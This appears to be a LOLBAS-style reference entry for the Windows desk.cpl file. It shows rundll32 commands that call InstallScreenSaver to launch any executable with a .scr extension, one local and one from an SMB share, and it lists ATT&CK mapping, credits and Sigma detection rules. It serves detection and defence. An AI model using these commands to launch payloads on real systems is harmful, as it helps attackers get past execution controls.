

/Desk.cpl

Execute

Desktop Settings Control Panel

Paths:

C:\Windows\System32\desk.cpl

C:\Windows\SysWOW64\desk.cpl

Resources:

- <https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt>
- <https://twitter.com/pabraeken/status/998627081360695297>
- <https://twitter.com/VakninHai/status/1517027824984547329>
- <https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files>

Acknowledgements:

- Rafael S Marques ([@pegabizu](#))
- Pierre-Alexandre Braeken ([@pabraeken](#))
- hai ([@VakninHai](#))
- Christopher Peacock ([@SecurePeacock](#))
- Jose Luis Sanchez ([@Joseliyo_Jstnk](#))

Detections:

- Sigma:
https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/file/file_event/file_event_win_new_src_file.yml
- Sigma:
https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml
- Sigma:
https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml

Execute

. Launch an executable with a .scr extension by calling the InstallScreenSaver function.

```
rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
```

Use case:	Launch any executable payload, as long as it uses the .scr extension.
Privileges required:	User
Operating systems:	Windows 10, Windows 11
ATT&CK® technique:	T1218.011

. Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

```
rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
```

Use case: Launch any executable payload, as long as it uses the .scr extension.
Privileges required: User
Operating systems: Windows 10, Windows 11
ATT&CK® technique: T1218.011